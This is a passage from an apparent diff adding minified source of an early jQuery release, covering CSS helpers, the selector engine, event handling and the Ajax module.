+for(var i=0,ol=obj.length,val=obj[0];i<ol&&fn.call(val,i,val)!==false;val=obj[++i]){}}return obj;},prop:function(elem,value,type,index,prop){if(jQuery.isFunction(value))value=value.call(elem,[index]);var exclude=/z-?index|font-?weight|opacity|zoom|line-?height/i;return value&&value.constructor==Number&&type=="curCSS"&&!exclude.test(prop)?value+"px":value;},className:{add:function(elem,c){jQuery.each((c||"").split(/\s+/),function(i,cur){if(!jQuery.className.has(elem.className,cur))elem.className+=(elem.className?" ":"")+cur;});},remove:function(elem,c){elem.className=c!=undefined?jQuery.grep(elem.className.split(/\s+/),function(cur){return!jQuery.className.has(c,cur);}).join(" "):"";},has:function(t,c){return jQuery.inArray(c,(t.className||t).toString().split(/\s+/))>-1;}},swap:function(e,o,f){for(var i in o){e.style["old"+i]=e.style[i];e.style[i]=o[i];}f.apply(e,[]);for(var i in o)e.style[i]=e.style["old"+i];},css:function(e,p){if(p=="height"||p=="width"){var old={},oHeight,oWidth,d=["Top","Bottom","Right","Left"];jQuery.each(d,function(){old["padding"+this]=0;old["border"+this+"Width"]=0;});jQuery.swap(e,old,function(){if(jQuery(e).is(':visible')){oHeight=e.offsetHeight;oWidth=e.offsetWidth;}else{e=jQuery(e.cloneNode(true)).find(":radio").removeAttr("checked").end().css({visibility:"hidden",position:"absolute",display:"block",right:"0",left:"0"}).appendTo(e.parentNode)[0];var parPos=jQuery.css(e.parentNode,"position")||"static";if(parPos=="static")e.parentNode.style.position="relative";oHeight=e.clientHeight;oWidth=e.clientWidth;if(parPos=="static")e.parentNode.style.position="static";e.parentNode.removeChild(e);}});return p=="height"?oHeight:oWidth;}return jQuery.curCSS(e,p);},curCSS:function(elem,prop,force){var ret,stack=[],swap=[];function color(a){if(!jQuery.browser.safari)return false;var ret=document.defaultView.getComputedStyle(a,null);return!ret||ret.getPropertyValue("color")=="";}if(prop=="opacity"&&jQuery.browser.msie){ret=jQuery.attr(elem.style,"opacity");return ret==""?"1":ret;}if(prop.match(/float/i))prop=styleFloat;if(!force&&elem.style[prop])ret=elem.style[prop];else if(document.defaultView&&document.defaultView.getComputedStyle){if(prop.match(/float/i))prop="float";prop=prop.replace(/([A-Z])/g,"-$1").toLowerCase();var cur=document.defaultView.getComputedStyle(elem,null);if(cur&&!color(elem))ret=cur.getPropertyValue(prop);else{for(var a=elem;a&&color(a);a=a.parentNode)stack.unshift(a);for(a=0;a<stack.length;a++)if(color(stack[a])){swap[a]=stack[a].style.display;stack[a].style.display="block";}ret=prop=="display"&&swap[stack.length-1]!=null?"none":document.defaultView.getComputedStyle(elem,null).getPropertyValue(prop)||"";for(a=0;a<swap.length;a++)if(swap[a]!=null)stack[a].style.display=swap[a];}if(prop=="opacity"&&ret=="")ret="1";}else if(elem.currentStyle){var newProp=prop.replace(/\-(\w)/g,function(m,c){return c.toUpperCase();});ret=elem.currentStyle[prop]||elem.currentStyle[newProp];if(!/^\d+(px)?$/i.test(ret)&&/^\d/.test(ret)){var style=elem.style.left;var runtimeStyle=elem.runtimeStyle.left;elem.runtimeStyle.left=elem.currentStyle.left;elem.style.left=ret||0;ret=elem.style.pixelLeft+"px";elem.style.left=style;elem.runtimeStyle.left=runtimeStyle;}}return ret;},clean:function(a,doc){var r=[];doc=doc||document;jQuery.each(a,function(i,arg){if(!arg)return;if(arg.constructor==Number)arg=arg.toString();if(typeof arg=="string"){arg=arg.replace(/(<(\w+)[^>]*?)\/>/g,function(m,all,tag){return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area)$/i)?m:all+"></"+tag+">";});var s=jQuery.trim(arg).toLowerCase(),div=doc.createElement("div"),tb=[];var wrap=!s.indexOf("<opt")&&[1,"<select>","</select>"]||!s.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||s.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!s.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!s.indexOf("<td")||!s.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!s.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||jQuery.browser.msie&&[1,"div<div>","</div>"]||[0,"",""];div.innerHTML=wrap[1]+arg+wrap[2];while(wrap[0]--)div=div.lastChild;if(jQuery.browser.msie){if(!s.indexOf("<table")&&s.indexOf("<tbody")<0)tb=div.firstChild&&div.firstChild.childNodes;else if(wrap[1]=="<table>"&&s.indexOf("<tbody")<0)tb=div.childNodes;for(var n=tb.length-1;n>=0;--n)if(jQuery.nodeName(tb[n],"tbody")&&!tb[n].childNodes.length)tb[n].parentNode.removeChild(tb[n]);if(/^\s/.test(arg))div.insertBefore(doc.createTextNode(arg.match(/^\s*/)[0]),div.firstChild);}arg=jQuery.makeArray(div.childNodes);}if(0===arg.length&&(!jQuery.nodeName(arg,"form")&&!jQuery.nodeName(arg,"select")))return;if(arg[0]==undefined||jQuery.nodeName(arg,"form")||arg.options)r.push(arg);else
+r=jQuery.merge(r,arg);});return r;},attr:function(elem,name,value){var fix=jQuery.isXMLDoc(elem)?{}:jQuery.props;if(name=="selected"&&jQuery.browser.safari)elem.parentNode.selectedIndex;if(fix[name]){if(value!=undefined)elem[fix[name]]=value;return elem[fix[name]];}else if(jQuery.browser.msie&&name=="style")return jQuery.attr(elem.style,"cssText",value);else if(value==undefined&&jQuery.browser.msie&&jQuery.nodeName(elem,"form")&&(name=="action"||name=="method"))return elem.getAttributeNode(name).nodeValue;else if(elem.tagName){if(value!=undefined){if(name=="type"&&jQuery.nodeName(elem,"input")&&elem.parentNode)throw"type property can't be changed";elem.setAttribute(name,value);}if(jQuery.browser.msie&&/href|src/.test(name)&&!jQuery.isXMLDoc(elem))return elem.getAttribute(name,2);return elem.getAttribute(name);}else{if(name=="opacity"&&jQuery.browser.msie){if(value!=undefined){elem.zoom=1;elem.filter=(elem.filter||"").replace(/alpha\([^)]*\)/,"")+(parseFloat(value).toString()=="NaN"?"":"alpha(opacity="+value*100+")");}return elem.filter?(parseFloat(elem.filter.match(/opacity=([^)]*)/)[1])/100).toString():"";}name=name.replace(/-([a-z])/ig,function(z,b){return b.toUpperCase();});if(value!=undefined)elem[name]=value;return elem[name];}},trim:function(t){return(t||"").replace(/^\s+|\s+$/g,"");},makeArray:function(a){var r=[];if(typeof a!="array")for(var i=0,al=a.length;i<al;i++)r.push(a[i]);else
+r=a.slice(0);return r;},inArray:function(b,a){for(var i=0,al=a.length;i<al;i++)if(a[i]==b)return i;return-1;},merge:function(first,second){if(jQuery.browser.msie){for(var i=0;second[i];i++)if(second[i].nodeType!=8)first.push(second[i]);}else
+for(var i=0;second[i];i++)first.push(second[i]);return first;},unique:function(first){var r=[],done={};try{for(var i=0,fl=first.length;i<fl;i++){var id=jQuery.data(first[i]);if(!done[id]){done[id]=true;r.push(first[i]);}}}catch(e){r=first;}return r;},grep:function(elems,fn,inv){if(typeof fn=="string")fn=eval("false||function(a,i){return "+fn+"}");var result=[];for(var i=0,el=elems.length;i<el;i++)if(!inv&&fn(elems[i],i)||inv&&!fn(elems[i],i))result.push(elems[i]);return result;},map:function(elems,fn){if(typeof fn=="string")fn=eval("false||function(a){return "+fn+"}");var result=[];for(var i=0,el=elems.length;i<el;i++){var val=fn(elems[i],i);if(val!==null&&val!=undefined){if(val.constructor!=Array)val=[val];result=result.concat(val);}}return result;}});var userAgent=navigator.userAgent.toLowerCase();jQuery.browser={version:(userAgent.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[])[1],safari:/webkit/.test(userAgent),opera:/opera/.test(userAgent),msie:/msie/.test(userAgent)&&!/opera/.test(userAgent),mozilla:/mozilla/.test(userAgent)&&!/(compatible|webkit)/.test(userAgent)};var styleFloat=jQuery.browser.msie?"styleFloat":"cssFloat";jQuery.extend({boxModel:!jQuery.browser.msie||document.compatMode=="CSS1Compat",styleFloat:jQuery.browser.msie?"styleFloat":"cssFloat",props:{"for":"htmlFor","class":"className","float":styleFloat,cssFloat:styleFloat,styleFloat:styleFloat,innerHTML:"innerHTML",className:"className",value:"value",disabled:"disabled",checked:"checked",readonly:"readOnly",selected:"selected",maxlength:"maxLength"}});jQuery.each({parent:"a.parentNode",parents:"jQuery.dir(a,'parentNode')",next:"jQuery.nth(a,2,'nextSibling')",prev:"jQuery.nth(a,2,'previousSibling')",nextAll:"jQuery.dir(a,'nextSibling')",prevAll:"jQuery.dir(a,'previousSibling')",siblings:"jQuery.sibling(a.parentNode.firstChild,a)",children:"jQuery.sibling(a.firstChild)",contents:"jQuery.nodeName(a,'iframe')?a.contentDocument||a.contentWindow.document:jQuery.makeArray(a.childNodes)"},function(i,n){jQuery.fn[i]=function(a){var ret=jQuery.map(this,n);if(a&&typeof a=="string")ret=jQuery.multiFilter(a,ret);return this.pushStack(jQuery.unique(ret));};});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(i,n){jQuery.fn[i]=function(){var a=arguments;return this.each(function(){for(var j=0,al=a.length;j<al;j++)jQuery(a[j])[n](this);});};});jQuery.each({removeAttr:function(key){jQuery.attr(this,key,"");this.removeAttribute(key);},addClass:function(c){jQuery.className.add(this,c);},removeClass:function(c){jQuery.className.remove(this,c);},toggleClass:function(c){jQuery.className[jQuery.className.has(this,c)?"remove":"add"](this,c);},remove:function(a){if(!a||jQuery.filter(a,[this]).r.length){jQuery.removeData(this);this.parentNode.removeChild(this);}},empty:function(){jQuery("*",this).each(function(){jQuery.removeData(this);});while(this.firstChild)this.removeChild(this.firstChild);}},function(i,n){jQuery.fn[i]=function(){return this.each(n,arguments);};});jQuery.each(["Height","Width"],function(i,name){var n=name.toLowerCase();jQuery.fn[n]=function(h){return this[0]==window?jQuery.browser.safari&&self["inner"+name]||jQuery.boxModel&&Math.max(document.documentElement["client"+name],document.body["client"+name])||document.body["client"+name]:this[0]==document?Math.max(document.body["scroll"+name],document.body["offset"+name]):h==undefined?(this.length?jQuery.css(this[0],n):null):this.css(n,h.constructor==String?h:h+"px");};});var chars=jQuery.browser.safari&&parseInt(jQuery.browser.version)<417?"(?:[\\w*_-]|\\\\.)":"(?:[\\w\u0128-\uFFFF*_-]|\\\\.)",quickChild=new RegExp("^>\\s*("+chars+"+)"),quickID=new RegExp("^("+chars+"+)(#)("+chars+"+)"),quickClass=new RegExp("^([#.]?)("+chars+"*)");jQuery.extend({expr:{"":"m[2]=='*'||jQuery.nodeName(a,m[2])","#":"a.getAttribute('id')==m[2]",":":{lt:"i<m[3]-0",gt:"i>m[3]-0",nth:"m[3]-0==i",eq:"m[3]-0==i",first:"i==0",last:"i==r.length-1",even:"i%2==0",odd:"i%2","first-child":"a.parentNode.getElementsByTagName('*')[0]==a","last-child":"jQuery.nth(a.parentNode.lastChild,1,'previousSibling')==a","only-child":"!jQuery.nth(a.parentNode.lastChild,2,'previousSibling')",parent:"a.firstChild",empty:"!a.firstChild",contains:"(a.textContent||a.innerText||jQuery(a).text()||'').indexOf(m[3])>=0",visible:'"hidden"!=a.type&&jQuery.css(a,"display")!="none"&&jQuery.css(a,"visibility")!="hidden"',hidden:'"hidden"==a.type||jQuery.css(a,"display")=="none"||jQuery.css(a,"visibility")=="hidden"',enabled:"!a.disabled",disabled:"a.disabled",checked:"a.checked",selected:"a.selected||jQuery.attr(a,'selected')",text:"'text'==a.type",radio:"'radio'==a.type",checkbox:"'checkbox'==a.type",file:"'file'==a.type",password:"'password'==a.type",submit:"'submit'==a.type",image:"'image'==a.type",reset:"'reset'==a.type",button:'"button"==a.type||jQuery.nodeName(a,"button")',input:"/input|select|textarea|button/i.test(a.nodeName)",has:"jQuery.find(m[3],a).length",header:"/h\\d/i.test(a.nodeName)",animated:"jQuery.grep(jQuery.timers,function(fn){return a==fn.elem;}).length"}},parse:[/^(\[) *@?([\w-]+) *([!*$^~=]*) *('?"?)(.*?)\4 *\]/,/^(:)([\w-]+)\("?'?(.*?(\(.*?\))?[^(]*?)"?'?\)/,new RegExp("^([:.#]*)("+chars+"+)")],multiFilter:function(expr,elems,not){var old,cur=[];while(expr&&expr!=old){old=expr;var f=jQuery.filter(expr,elems,not);expr=f.t.replace(/^\s*,\s*/,"");cur=not?elems=f.r:jQuery.merge(cur,f.r);}return cur;},find:function(t,context){if(typeof t!="string")return[t];if(context&&!context.nodeType)context=null;context=context||document;var ret=[context],done=[],last;while(t&&last!=t){var r=[];last=t;t=jQuery.trim(t);var foundToken=false;var re=quickChild;var m=re.exec(t);if(m){var nodeName=m[1].toUpperCase();for(var i=0;ret[i];i++)for(var c=ret[i].firstChild;c;c=c.nextSibling)if(c.nodeType==1&&(nodeName=="*"||c.nodeName.toUpperCase()==nodeName.toUpperCase()))r.push(c);ret=r;t=t.replace(re,"");if(t.indexOf(" ")==0)continue;foundToken=true;}else{re=/^([>+~])\s*(\w*)/i;if((m=re.exec(t))!=null){r=[];var nodeName=m[2],merge={};m=m[1];for(var j=0,rl=ret.length;j<rl;j++){var n=m=="~"||m=="+"?ret[j].nextSibling:ret[j].firstChild;for(;n;n=n.nextSibling)if(n.nodeType==1){var id=jQuery.data(n);if(m=="~"&&merge[id])break;if(!nodeName||n.nodeName.toUpperCase()==nodeName.toUpperCase()){if(m=="~")merge[id]=true;r.push(n);}if(m=="+")break;}}ret=r;t=jQuery.trim(t.replace(re,""));foundToken=true;}}if(t&&!foundToken){if(!t.indexOf(",")){if(context==ret[0])ret.shift();done=jQuery.merge(done,ret);r=ret=[context];t=" "+t.substr(1,t.length);}else{var re2=quickID;var m=re2.exec(t);if(m){m=[0,m[2],m[3],m[1]];}else{re2=quickClass;m=re2.exec(t);}m[2]=m[2].replace(/\\/g,"");var elem=ret[ret.length-1];if(m[1]=="#"&&elem&&elem.getElementById&&!jQuery.isXMLDoc(elem)){var oid=elem.getElementById(m[2]);if((jQuery.browser.msie||jQuery.browser.opera)&&oid&&typeof oid.id=="string"&&oid.id!=m[2])oid=jQuery('[@id="'+m[2]+'"]',elem)[0];ret=r=oid&&(!m[3]||jQuery.nodeName(oid,m[3]))?[oid]:[];}else{for(var i=0;ret[i];i++){var tag=m[1]=="#"&&m[3]?m[3]:m[1]!=""||m[0]==""?"*":m[2];if(tag=="*"&&ret[i].nodeName.toLowerCase()=="object")tag="param";r=jQuery.merge(r,ret[i].getElementsByTagName(tag));}if(m[1]==".")r=jQuery.classFilter(r,m[2]);if(m[1]=="#"){var tmp=[];for(var i=0;r[i];i++)if(r[i].getAttribute("id")==m[2]){tmp=[r[i]];break;}r=tmp;}ret=r;}t=t.replace(re2,"");}}if(t){var val=jQuery.filter(t,r);ret=r=val.r;t=jQuery.trim(val.t);}}if(t)ret=[];if(ret&&context==ret[0])ret.shift();done=jQuery.merge(done,ret);return done;},classFilter:function(r,m,not){m=" "+m+" ";var tmp=[];for(var i=0;r[i];i++){var pass=(" "+r[i].className+" ").indexOf(m)>=0;if(!not&&pass||not&&!pass)tmp.push(r[i]);}return tmp;},filter:function(t,r,not){var last;while(t&&t!=last){last=t;var p=jQuery.parse,m;for(var i=0;p[i];i++){m=p[i].exec(t);if(m){t=t.substring(m[0].length);m[2]=m[2].replace(/\\/g,"");break;}}if(!m)break;if(m[1]==":"&&m[2]=="not")r=jQuery.filter(m[3],r,true).r;else if(m[1]==".")r=jQuery.classFilter(r,m[2],not);else if(m[1]=="["){var tmp=[],type=m[3];for(var i=0,rl=r.length;i<rl;i++){var a=r[i],z=a[jQuery.props[m[2]]||m[2]];if(z==null||/href|src|selected/.test(m[2]))z=jQuery.attr(a,m[2])||'';if((type==""&&!!z||type=="="&&z==m[5]||type=="!="&&z!=m[5]||type=="^="&&z&&!z.indexOf(m[5])||type=="$="&&z.substr(z.length-m[5].length)==m[5]||(type=="*="||type=="~=")&&z.indexOf(m[5])>=0)^not)tmp.push(a);}r=tmp;}else if(m[1]==":"&&m[2]=="nth-child"){var merge={},tmp=[],test=/(\d*)n\+?(\d*)/.exec(m[3]=="even"&&"2n"||m[3]=="odd"&&"2n+1"||!/\D/.test(m[3])&&"n+"+m[3]||m[3]),first=(test[1]||1)-0,last=test[2]-0;for(var i=0,rl=r.length;i<rl;i++){var node=r[i],parentNode=node.parentNode,id=jQuery.data(parentNode);if(!merge[id]){var c=1;for(var n=parentNode.firstChild;n;n=n.nextSibling)if(n.nodeType==1)n.nodeIndex=c++;merge[id]=true;}var add=false;if(first==1){if(last==0||node.nodeIndex==last)add=true;}else if((node.nodeIndex+last)%first==0)add=true;if(add^not)tmp.push(node);}r=tmp;}else{var f=jQuery.expr[m[1]];if(typeof f!="string")f=jQuery.expr[m[1]][m[2]];f=eval("false||function(a,i){return "+f+"}");r=jQuery.grep(r,f,not);}}return{r:r,t:t};},dir:function(elem,dir){var matched=[];var cur=elem[dir];while(cur&&cur!=document){if(cur.nodeType==1)matched.push(cur);cur=cur[dir];}return matched;},nth:function(cur,result,dir,elem){result=result||1;var num=0;for(;cur;cur=cur[dir])if(cur.nodeType==1&&++num==result)break;return cur;},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType==1&&(!elem||n!=elem))r.push(n);}return r;}});jQuery.event={add:function(element,type,handler,data){if(jQuery.browser.msie&&element.setInterval!=undefined)element=window;if(!handler.guid)handler.guid=this.guid++;if(data!=undefined){var fn=handler;handler=function(){return fn.apply(this,arguments);};handler.data=data;handler.guid=fn.guid;}var parts=type.split(".");type=parts[0];handler.type=parts[1];var events=jQuery.data(element,"events")||jQuery.data(element,"events",{});var handle=jQuery.data(element,"handle",function(){var val;if(typeof jQuery=="undefined"||jQuery.event.triggered)return val;val=jQuery.event.handle.apply(element,arguments);return val;});var handlers=events[type];if(!handlers){handlers=events[type]={};if(element.addEventListener)element.addEventListener(type,handle,false);else
+element.attachEvent("on"+type,handle);}handlers[handler.guid]=handler;this.global[type]=true;},guid:1,global:{},remove:function(element,type,handler){var events=jQuery.data(element,"events"),ret,index;if(typeof type=="string"){var parts=type.split(".");type=parts[0];}if(events){if(type&&type.type){handler=type.handler;type=type.type;}if(!type){for(type in events)this.remove(element,type);}else if(events[type]){if(handler)delete events[type][handler.guid];else
+for(handler in events[type])if(!parts[1]||events[type][handler].type==parts[1])delete events[type][handler];for(ret in events[type])break;if(!ret){if(element.removeEventListener)element.removeEventListener(type,jQuery.data(element,"handle"),false);else
+element.detachEvent("on"+type,jQuery.data(element,"handle"));ret=null;delete events[type];}}for(ret in events)break;if(!ret){jQuery.removeData(element,"events");jQuery.removeData(element,"handle");}}},trigger:function(type,data,element,donative,extra){data=jQuery.makeArray(data||[]);if(!element){if(this.global[type])jQuery("*").add([window,document]).trigger(type,data);}else{var val,ret,fn=jQuery.isFunction(element[type]||null),evt=!data[0]||!data[0].preventDefault;if(evt)data.unshift(this.fix({type:type,target:element}));data[0].type=type;if(jQuery.isFunction(jQuery.data(element,"handle")))val=jQuery.data(element,"handle").apply(element,data);if(!fn&&element["on"+type]&&element["on"+type].apply(element,data)===false)val=false;if(evt)data.shift();if(extra&&extra.apply(element,data)===false)val=false;if(fn&&donative!==false&&val!==false&&!(jQuery.nodeName(element,'a')&&type=="click")){this.triggered=true;element[type]();}this.triggered=false;}return val;},handle:function(event){var val;event=jQuery.event.fix(event||window.event||{});var parts=event.type.split(".");event.type=parts[0];var c=jQuery.data(this,"events")&&jQuery.data(this,"events")[event.type],args=Array.prototype.slice.call(arguments,1);args.unshift(event);for(var j in c){args[0].handler=c[j];args[0].data=c[j].data;if(!parts[1]||c[j].type==parts[1]){var tmp=c[j].apply(this,args);if(val!==false)val=tmp;if(tmp===false){event.preventDefault();event.stopPropagation();}}}if(jQuery.browser.msie)event.target=event.preventDefault=event.stopPropagation=event.handler=event.data=null;return val;},fix:function(event){var originalEvent=event;event=jQuery.extend({},originalEvent);event.preventDefault=function(){if(originalEvent.preventDefault)originalEvent.preventDefault();originalEvent.returnValue=false;};event.stopPropagation=function(){if(originalEvent.stopPropagation)originalEvent.stopPropagation();originalEvent.cancelBubble=true;};if(!event.target&&event.srcElement)event.target=event.srcElement;if(jQuery.browser.safari&&event.target.nodeType==3)event.target=originalEvent.target.parentNode;if(!event.relatedTarget&&event.fromElement)event.relatedTarget=event.fromElement==event.target?event.toElement:event.fromElement;if(event.pageX==null&&event.clientX!=null){var e=document.documentElement,b=document.body;event.pageX=event.clientX+(e&&e.scrollLeft||b.scrollLeft||0);event.pageY=event.clientY+(e&&e.scrollTop||b.scrollTop||0);}if(!event.which&&(event.charCode||event.keyCode))event.which=event.charCode||event.keyCode;if(!event.metaKey&&event.ctrlKey)event.metaKey=event.ctrlKey;if(!event.which&&event.button)event.which=(event.button&1?1:(event.button&2?3:(event.button&4?2:0)));return event;}};jQuery.fn.extend({bind:function(type,data,fn){return type=="unload"?this.one(type,data,fn):this.each(function(){jQuery.event.add(this,type,fn||data,fn&&data);});},one:function(type,data,fn){return this.each(function(){jQuery.event.add(this,type,function(event){jQuery(this).unbind(event);return(fn||data).apply(this,arguments);},fn&&data);});},unbind:function(type,fn){return this.each(function(){jQuery.event.remove(this,type,fn);});},trigger:function(type,data,fn){return this.each(function(){jQuery.event.trigger(type,data,this,true,fn);});},triggerHandler:function(type,data,fn){if(this[0])return jQuery.event.trigger(type,data,this[0],false,fn);},toggle:function(){var a=arguments;return this.click(function(e){this.lastToggle=0==this.lastToggle?1:0;e.preventDefault();return a[this.lastToggle].apply(this,[e])||false;});},hover:function(f,g){function handleHover(e){var p=e.relatedTarget;while(p&&p!=this)try{p=p.parentNode;}catch(e){p=this;};if(p==this)return false;return(e.type=="mouseover"?f:g).apply(this,[e]);}return this.mouseover(handleHover).mouseout(handleHover);},ready:function(f){bindReady();if(jQuery.isReady)f.apply(document,[jQuery]);else
+jQuery.readyList.push(function(){return f.apply(this,[jQuery]);});return this;}});jQuery.extend({isReady:false,readyList:[],ready:function(){if(!jQuery.isReady){jQuery.isReady=true;if(jQuery.readyList){jQuery.each(jQuery.readyList,function(){this.apply(document);});jQuery.readyList=null;}if(jQuery.browser.mozilla||jQuery.browser.opera)document.removeEventListener("DOMContentLoaded",jQuery.ready,false);if(!window.frames.length)jQuery(window).load(function(){jQuery("#__ie_init").remove();});}}});jQuery.each(("blur,focus,load,resize,scroll,unload,click,dblclick,"+"mousedown,mouseup,mousemove,mouseover,mouseout,change,select,"+"submit,keydown,keypress,keyup,error").split(","),function(i,o){jQuery.fn[o]=function(f){return f?this.bind(o,f):this.trigger(o);};});var readyBound=false;function bindReady(){if(readyBound)return;readyBound=true;if(jQuery.browser.mozilla||jQuery.browser.opera)document.addEventListener("DOMContentLoaded",jQuery.ready,false);else if(jQuery.browser.msie){document.write("<scr"+"ipt id=__ie_init defer=true "+"src=//:><\/script>");var script=document.getElementById("__ie_init");if(script)script.onreadystatechange=function(){if(this.readyState!="complete")return;jQuery.ready();};script=null;}else if(jQuery.browser.safari)jQuery.safariTimer=setInterval(function(){if(document.readyState=="loaded"||document.readyState=="complete"){clearInterval(jQuery.safariTimer);jQuery.safariTimer=null;jQuery.ready();}},10);jQuery.event.add(window,"load",jQuery.ready);}jQuery.fn.extend({load:function(url,params,callback){if(jQuery.isFunction(url))return this.bind("load",url);var off=url.indexOf(" ");if(off>=0){var selector=url.slice(off,url.length);url=url.slice(0,off);}callback=callback||function(){};var type="GET";if(params)if(jQuery.isFunction(params)){callback=params;params=null;}else{params=jQuery.param(params);type="POST";}var self=this;jQuery.ajax({url:url,type:type,data:params,complete:function(res,status){if(status=="success"||status=="notmodified")self.html(selector?jQuery("<div/>").append(res.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(selector):res.responseText);setTimeout(function(){self.each(callback,[res.responseText,status,res]);},13);}});return this;},serialize:function(){return jQuery.param(this.serializeArray());},serializeArray:function(){return this.map(function(){return jQuery.nodeName(this,"form")?jQuery.makeArray(this.elements):this;}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password/i.test(this.type));}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:val.constructor==Array?jQuery.map(val,function(val,i){return{name:elem.name,value:val};}):{name:elem.name,value:val};}).get();}});jQuery.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(i,o){jQuery.fn[o]=function(f){return this.bind(o,f);};});var jsc=(new Date).getTime();jQuery.extend({get:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data=null;}return jQuery.ajax({type:"GET",url:url,data:data,success:callback,dataType:type});},getScript:function(url,callback){return jQuery.get(url,null,callback,"script");},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json");},post:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data={};}return jQuery.ajax({type:"POST",url:url,data:data,success:callback,dataType:type});},ajaxSetup:function(settings){jQuery.extend(jQuery.ajaxSettings,settings);},ajaxSettings:{global:true,type:"GET",timeout:0,contentType:"application/x-www-form-urlencoded",processData:true,async:true,data:null},lastModified:{},ajax:function(s){var jsonp,jsre=/=(\?|%3F)/g,status,data;s=jQuery.extend(true,s,jQuery.extend(true,{},jQuery.ajaxSettings,s));if(s.data&&s.processData&&typeof s.data!="string")s.data=jQuery.param(s.data);if(s.dataType=="jsonp"){if(s.type.toLowerCase()=="get"){if(!s.url.match(jsre))s.url+=(s.url.match(/\?/)?"&":"?")+(s.jsonp||"callback")+"=?";}else if(!s.data||!s.data.match(jsre))s.data=(s.data?s.data+"&":"")+(s.jsonp||"callback")+"=?";s.dataType="json";}if(s.dataType=="json"&&(s.data&&s.data.match(jsre)||s.url.match(jsre))){jsonp="jsonp"+jsc++;if(s.data)s.data=s.data.replace(jsre,"="+jsonp);s.url=s.url.replace(jsre,"="+jsonp);s.dataType="script";window[jsonp]=function(tmp){data=tmp;success();complete();window[jsonp]=undefined;try{delete window[jsonp];}catch(e){}};}if(s.dataType=="script"&&s.cache==null)s.cache=false;if(s.cache===false&&s.type.toLowerCase()=="get")s.url+=(s.url.match(/\?/)?"&":"?")+"_="+(new Date()).getTime();if(s.data&&s.type.toLowerCase()=="get"){s.url+=(s.url.match(/\?/)?"&":"?")+s.data;s.data=null;}if(s.global&&!jQuery.active++)jQuery.event.trigger("ajaxStart");if(!s.url.indexOf("http")&&s.dataType=="script"){var head=document.getElementsByTagName("head")[0];var script=document.createElement("script");script.src=s.url;if(!jsonp&&(s.success||s.complete)){var done=false;script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){done=true;success();complete();head.removeChild(script);}};}head.appendChild(script);return;}var requestDone=false;var xml=window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest();xml.open(s.type,s.url,s.async);if(s.data)xml.setRequestHeader("Content-Type",s.contentType);if(s.ifModified)xml.setRequestHeader("If-Modified-Since",jQuery.lastModified[s.url]||"Thu, 01 Jan 1970 00:00:00 GMT");xml.setRequestHeader("X-Requested-With","XMLHttpRequest");if(s.beforeSend)s.beforeSend(xml);if(s.global)jQuery.event.trigger("ajaxSend",[xml,s]);var onreadystatechange=function(isTimeout){if(!requestDone&&xml&&(xml.readyState==4||isTimeout=="timeout")){requestDone=true;if(ival){clearInterval(ival);ival=null;}status=isTimeout=="timeout"&&"timeout"||!jQuery.httpSuccess(xml)&&"error"||s.ifModified&&jQuery.httpNotModified(xml,s.url)&&"notmodified"||"success";if(status=="success"){try{data=jQuery.httpData(xml,s.dataType);}catch(e){status="parsererror";}}if(status=="success"){var modRes;try{modRes=xml.getResponseHeader("Last-Modified");}catch(e){}if(s.ifModified&&modRes)jQuery.lastModified[s.url]=modRes;if(!jsonp)success();}else
+jQuery.handleError(s,xml,status);complete();if(s.async)xml=null;}};if(s.async){var ival=setInterval(onreadystatechange,13);if(s.timeout>0)setTimeout(function(){if(xml){xml.abort();if(!requestDone)onreadystatechange("timeout");}},s.timeout);}try{xml.send(s.data);}catch(e){jQuery.handleError(s,xml,null,e);}if(!s.async)onreadystatechange();return xml;function success(){if(s.success)s.success(data,status);if(s.global)jQuery.event.trigger("ajaxSuccess",[xml,s]);}function complete(){if(s.complete)s.complete(xml,status);if(s.global)jQuery.event.trigger("ajaxComplete",[xml,s]);if(s.global&&!--jQuery.active)jQuery.event.trigger("ajaxStop");}},handleError:function(s,xml,status,e){if(s.error)s.error(xml,status,e);if(s.global)jQuery.event.trigger("ajaxError",[xml,s,e]);},active:0,httpSuccess:function(r){try{return!r.status&&location.protocol=="file:"||(r.status>=200&&r.status<300)||r.status==304||jQuery.browser.safari&&r.status==undefined;}catch(e){}return false;},httpNotModified:function(xml,url){try{var xmlRes=xml.getResponseHeader("Last-Modified");return xml.status==304||xmlRes==jQuery.lastModified[url]||jQuery.browser.safari&&xml.status==undefined;}catch(e){}return false;},httpData:function(r,type){var ct=r.getResponseHeader("content-type");var xml=type=="xml"||!type&&ct&&ct.indexOf("xml")>=0;var data=xml?r.responseXML:r.responseText;if(xml&&data.documentElement.tagName=="parsererror")throw"parsererror";if(type=="script")jQuery.globalEval(data);if(type=="json")data=eval("("+data+")");return data;},param:function(a){var s=[];if(a.constructor==Array||a.jquery)jQuery.each(a,function(){s.push(encodeURIComponent(this.name)+"="+encodeURIComponent(this.value));});else
+for(var j in a)if(a[j]&&a[j].constructor==Array)jQuery.each(a[j],function(){s.push(encodeURIComponent(j)+"="+encodeURIComponent(this));});else
